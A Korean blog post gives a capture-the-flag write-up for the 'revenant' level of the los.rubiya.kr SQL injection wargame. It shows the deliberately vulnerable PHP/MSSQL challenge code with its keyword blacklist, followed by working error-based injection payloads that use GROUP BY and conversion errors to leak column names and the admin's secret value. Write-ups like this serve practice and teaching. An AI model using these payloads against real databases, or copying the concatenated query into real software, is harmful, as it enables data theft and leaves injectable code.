일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- jsp
- 소개딩
- riceteacatpanda
- 소프트웨어 개발보안 경진대회
- 메모리 포랜식
- 인턴 후기
- 정보보호병 후기
- 동읍면 DB
- restapi
- JSTL
- 3단계 지역 DB
- webhacking 처음
- frontend
- 인턴 지원
- 네이버 인턴
- DBMS
- Forensic 절차
- reversing.kr
- EER
- Layered Architecture
- Database
- 방명록 만들기
- spring
- Django
- ㅁㅇㅂ??ㅇㅈㄷ ㅎㅇㅌ...
- 행정지역 DB
- PyAmdecoder
- SessionAttribute
- react
- mysql
- Today
- Total
웹찢남
revenant-writeup 본문
<?php
include "./config.php";
login_chk();
$db = mssql_connect();
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db,$query);
if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));
$query = "select * from prob_revenant where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
highlight_file(__FILE__);
?>
이번 문제는 다섯번쨰 column 값을 얻어야한단다.
group by를 사용해 에러를 만들면 뚝딱!
?id=admin&pw=%27%20group%20by%20pw%20--%20
다음 column이 나온다!! group by 뒤에 나온 column을 하나씩 추가하다 보면 결국
?id=admin&pw=%27%20group%20by%20id,pw,"45a88487","13477a35"%20--%20
5번째 column이 나오게 되고 지난 문제와 같이 값을 얻어보면?
?id=admin&pw=%27%20or%20"9604b0c8">1--%20
값이 나온다! 근데 답이 아니어서 생각을 해보니 admin의 값이 아니어서 CLEAR가 안되는거 같아 쿼리를 바꿔보니?
?id=admin&pw=%27%20or%20id=%27admin%27%20and%20"9604b0c8">1--%20
CLEAR!!!
'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글
mummy-writeup (0) | 2020.01.31 |
---|---|
yeti-writeup (0) | 2020.01.31 |
Nessie-writeup (0) | 2020.01.30 |
poltergeist-writeup (0) | 2020.01.30 |
banshee-writeup (0) | 2020.01.30 |